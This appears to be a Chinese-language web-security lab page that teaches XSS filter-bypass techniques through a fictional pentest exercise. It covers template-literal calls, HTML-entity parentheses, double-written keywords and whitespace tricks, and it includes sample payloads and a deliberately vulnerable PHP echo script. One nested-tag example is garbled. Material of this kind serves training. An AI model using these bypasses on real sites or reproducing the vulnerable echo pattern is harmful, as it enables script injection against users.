◈ 渗透任务 WAF 多重过滤绕过测试 任务中
你的身份 「暗影安全公司」渗透测试工程师 目标网站 NetGuard 网络管理控制台 (admin.netguard.example.com) 委托方 NetGuard 部署了多重 WAF 规则,同时过滤标签、关键字和括号 任务目标 利用 JS 语法变形绕过 WAF 的多重过滤

◈ 教程:JS 语法变形绕过

为什么语法变形有效?

WAF(Web 应用防火墙)通常基于正则表达式或关键字黑名单进行过滤。但 JavaScript 语法的灵活性意味着同一个功能可以用多种写法实现。

核心思想:WAF 过滤的是"字面量模式",但执行的是"语义"。只要语义不变,语法可以千变万化。

1. 模板字面量调用函数

ES6 的模板字面量(反引号)可以直接调用函数,无需括号:

// 传统写法
alert(1)

// 模板字面量写法 — 不需要括号
alert`1`

// 等价于 alert.call(undefined, "1")

绕过场景:WAF 过滤了 () 但未过滤反引号 `

2. HTML 实体编码括号

在 HTML 属性上下文中,浏览器会先解码 HTML 实体,再交给 JS 引擎执行:

<!-- 原始写法 -->
<svg onload="alert(1)">

<!-- HTML 实体编码括号 -->
<svg onload="alert&lpar;1&rpar;">

<!-- 浏览器解码后等价于 -->
<svg onload="alert(1)">

3. WAF 过滤顺序的陷阱

很多 WAF 的正则替换存在顺序问题:

// 单次替换 — 双写绕过
preg_replace("/alert/i", "", $input)
// "aalertlert" → 移除中间的 "alert" → 剩下 "alert"

// 嵌套标签
preg_replace("/ipt>" → 移除内层 → 剩下 "<script>"

4. 空白字符绕过

在某些上下文中,可以用非常规空白字符分隔关键字:

// Tab 字符 (%09)
<img src=x	onerror=alert(1)>

// 换行符 (%0a)
<img src=x
onerror=alert(1)>

◈ 练习:语法变形绕过 WAF

目标:NetGuard 网络管理控制台 (admin.netguard.example.com) 的 WAF 过滤了 <script> 标签、alert 关键字、 onerror/onload 事件以及括号 ()。 请利用 JS 语法变形绕过过滤,注入并执行 alert(1)
重置
在上方输入框中输入 payload,点击「提交」查看 WAF 处理结果...
查看漏洞源码 (PHP)
<?php $input = $_GET['input']; // WAF: 过滤 <script> 标签 $input = preg_replace("/<script\b/i", "", $input); // WAF: 过滤 alert 关键字 $input = preg_replace("/alert/i", "", $input); // WAF: 过滤 onerror / onload $input = preg_replace("/on(error|load)/i", "", $input); // WAF: 过滤括号 () $input = str_replace(["(", ")"], "", $input); echo $input; ?>
过滤状态:
  • <script...> 标签 — 已过滤
  • alert 关键字 — 已过滤(正则移除)
  • onerror / onload已过滤
  • ( ) 括号 — 已过滤
  • 反引号 `未过滤
  • HTML 实体 — 未过滤
  • 其他事件处理器 — 未过滤